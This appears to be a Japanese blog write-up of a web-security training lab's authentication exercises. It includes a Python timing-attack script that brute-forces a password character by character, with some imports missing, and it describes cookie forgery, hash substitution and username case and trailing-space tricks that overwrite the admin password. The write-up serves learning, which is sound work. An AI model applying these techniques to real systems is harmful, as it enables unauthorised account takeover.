Hello there, ('ω')ノ
Authenticationを。
Example2では、下記でログインするとBase64らしきものが。
hacker/a
デコードしてみると入力したユーザ名とパスワードが。
パスワードに含まれない文字を入力するとレスポンス時間に差異があるようなので。
下記のプログラムを作成して、1文字ずつパスワードをさぐっていくことに。
paypass.py
import requests
def auth():
url = "http://192.168.153.147/authentication/example2/"
base_time = None
password = ""
passwords = string.lowercase + string.uppercase + string.digits
while True:
tmp_start = time.time()
html = requests.get(url, auth=("hacker", password + "a"))
base_time = time.time()-tmp_start
for pwd in passwords:
start = time.time()
html = requests.get(url, auth=("hacker", password + pwd))
used_time = time.time() - start
if html.status_code == 200:
print "[*] FIND PASSWORD: {}".format(password + pwd)
return
if used_time - base_time > 0.1:
password += pwd
print "[+] password: {} ..".format(password)
break
elif base_time - used_time > 0.1:
password += "a"
print "[+] password: {} ..".format(password)
break
print "Use Time: {}, password:{}".format(time.time()-start, password + pwd)
if __name__=='__main__':
auth()
下記で実行して。
python paypass.py
最終的にパスワードがわかって。
下記でログインしてクリアできて。
hacker/p4ssw0rd
Example3では、ログインして。
adminで適当にログインしてみると。
Cookieには値がセットされていなくて。
再度、user1でログインしてリクエストをリピータへ。
下記のようにCookieを変更してSendしてみるとクリアできて。
Cookie: user=admin
Example4では、ログインしてみるとハッシュ値らしきものが。
下記のサイトでデコードしてみると。
https://hashtoolkit.com/decrypt-hash/?hash=24c9e15e52afc47c225b757e7bee1f9d
次にadminをエンコードして。
https://hashtoolkit.com/generate-hash/?text=admin
Cookie値を置き換えるとクリアできて。
Example5では、下記で登録しようとすると。
admin/pass
ユーザ名が存在するとのことで、下記で登録しなおすと。
Admin/pass
大小文字はWEBアプリでは区別しないようで、登録できて。
実際に下記でログインするとパスワードが上書きされて。
admin/pass
Example6では、下記で登録するとエラーが。
admin/pass
ユーザ名の後に半角スペースを入れて登録すると。
admin /pass
WEBアプリ上では、違うユーザ名として判定されて。
しかしながらバックエンドのデータベースでは、同じユーザとみなして。
下記でログインできるので、パスワードが上書きされていて。
admin/pass
Best regards, (^^ゞ